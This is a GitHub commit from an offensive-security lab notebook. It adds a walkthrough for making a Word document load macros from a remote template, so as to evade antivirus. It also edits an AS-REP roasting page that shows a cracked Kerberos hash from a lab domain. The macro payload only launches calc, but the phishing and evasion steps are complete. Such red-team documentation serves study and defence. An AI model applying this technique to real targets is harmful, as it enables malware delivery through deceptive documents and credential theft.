Skip to content
Permalink
Browse files

GitBook: [master] 3 pages and 11 assets modified

  • Loading branch information...
mantvydasb authored and gitbook-bot committed Mar 18, 2019
1 parent 18880ed commit 828e8d0dee87bd227459ab92e68636793a4ba195
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -43,6 +43,7 @@
* [Phishing: OLE + LNK](offensive-security/phishing-with-ms-office/phishing-ole-+-lnk.md)
* [Phishing: Embedded Internet Explorer](offensive-security/phishing-with-ms-office/phishing-embedded-internet-explorer.md)
* [Phishing: .SLK Excel](offensive-security/phishing-with-ms-office/phishing-.slk-excel.md)
* [Inject Macros from a Remote Docx Template](offensive-security/phishing-with-ms-office/inject-macros-from-a-remote-docx-template.md)
* [Phishing: Embedded HTML Forms](offensive-security/phishing-with-ms-office/phishing-embedded-html-forms.md)
* [Password Spraying Outlook Web Access: Remote Shell](offensive-security/password-spraying-outlook-web-access-remote-shell.md)
* [Dump GAL from OWA](offensive-security/dumping-gal-global-address-list-from-outlook-web-application.md)
@@ -1,11 +1,5 @@
# AS-REP Roasting

{% hint style="info" %}
WIP
{% endhint %}

## Context

AS-REP roasting is a technique that allows retrieving password hashes for users that have `Do not require Kerberos preauthentication` property selected:

![](../../.gitbook/assets/screenshot-from-2019-03-12-21-08-33.png)
@@ -35,7 +29,7 @@ $krb5asrep$spot@offense.local:3171EA207B3A6FDAEE52BA247C20362E$56FE7DC0CABA8CB7D
We need to insert `23` after the `$krb5asrep$` like so:

```text
$krb5asrep$23$spot@offense.local:3171ea207b3a6fdaee52ba247c20362e$56fe7dc0caba8cb7d3a02a140c612a917df3343c01bcdab0b669efa15b29b2aebbfed2b4f3368a897b833a6b95d5c2f1c2477121c8f5e005aa2a588c5ae72aadfcbf1aedd8b7ac2f2e94e94cb101e27a2e9906e8646919815d90b4186367b6d5072ab9edd0d7b85519fbe33997b3d3b378340e3f64caa92595523b0ad8dc8e0abe69dda178d8ba487d3632a52be7ff4e786f4c271172797dcbbded86020405b014278d5556d8382a655a6db1787dbe949b412756c43841c601ce5f21a36a0536cfed53c913c3620062fdf5b18259ea35de2b90c403fbadd185c0f54b8d0249972903ca8ff5951a866fc70379b9da:123456
$krb5asrep$23$spot@offense.local:3171ea207b3a6fdaee52ba247c20362e$56fe7dc0caba8cb7d3a02a140c612a917df3343c01bcdab0b669efa15b29b2aebbfed2b4f3368a897b833a6b95d5c2f1c2477121c8f5e005aa2a588c5ae72aadfcbf1aedd8b7ac2f2e94e94cb101e27a2e9906e8646919815d90b4186367b6d5072ab9edd0d7b85519fbe33997b3d3b378340e3f64caa92595523b0ad8dc8e0abe69dda178d8ba487d3632a52be7ff4e786f4c271172797dcbbded86020405b014278d5556d8382a655a6db1787dbe949b412756c43841c601ce5f21a36a0536cfed53c913c3620062fdf5b18259ea35de2b90c403fbadd185c0f54b8d0249972903ca8ff5951a866fc70379b9da
```

We can then crack it:
@@ -0,0 +1,73 @@
# Inject Macros from a Remote Docx Template

This lab shows how it is possible to add a macros payload to a docx file indirectly, which has a good chance of evading some AVs/EDRs.

This technique works in the following way:

1. A malicious macro is saved in a Word template .dotm file
2. Benign .docx file is created based on one of the default MS Word Document templates
3. Document from step 2 is saved as .docx
4. Document from step 3 is renamed to .zip
5. Document from step 4 gets unzipped
6. .\word\_rels\settings.xml.rels contains a reference to the template file. That reference gets replaced with a refernce to our malicious macro created in step 1. File can be hosted on a web server \(http\) or webdav \(smb\).
7. File gets zipped back up again and renamed to .docx
8. Done

## Weaponization

Alt+F8 to enter Dev mode where we can edit Macros, select `ThisDocument` and paste in:

{% code-tabs %}
{% code-tabs-item title="Doc3.dotm" %}
```javascript
Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc"
End Sub
```
{% endcode-tabs-item %}
{% endcode-tabs %}

![](../../.gitbook/assets/screenshot-from-2019-03-18-22-19-22.png)

Create a benign .docx file based on one of the provided templates and save it as .docx:

![](../../.gitbook/assets/screenshot-from-2019-03-18-22-24-02.png)

Rename legit.docx to legit.zip:

![](../../.gitbook/assets/screenshot-from-2019-03-18-22-26-41.png)

Unzip the archive and edit `word_rels\settings.xml.rels`:

{% code-tabs %}
{% code-tabs-item title="word\_rels\\settings.xml.rels" %}
```markup
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>
```
{% endcode-tabs-item %}
{% endcode-tabs %}

Note it has the target template specified here:

![](../../.gitbook/assets/screenshot-from-2019-03-18-22-36-30.png)

Upload the template created previously `Doc3.dot` to an SMB server \(note that the file could be hosted on a web server also!\).

Update word\_rels\settings.xml.rels to point to Doc3.dotm:

![](../../.gitbook/assets/screenshot-from-2019-03-18-22-59-07.png)

Zip all the files of `legit` archive and name it back to .docx - we now have a weaponized document:

![](../../.gitbook/assets/peek-2019-03-18-23-07.gif)

## References

{% embed url="http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html" %}



0 comments on commit 828e8d0

Please sign in to comment.
You can’t perform that action at this time.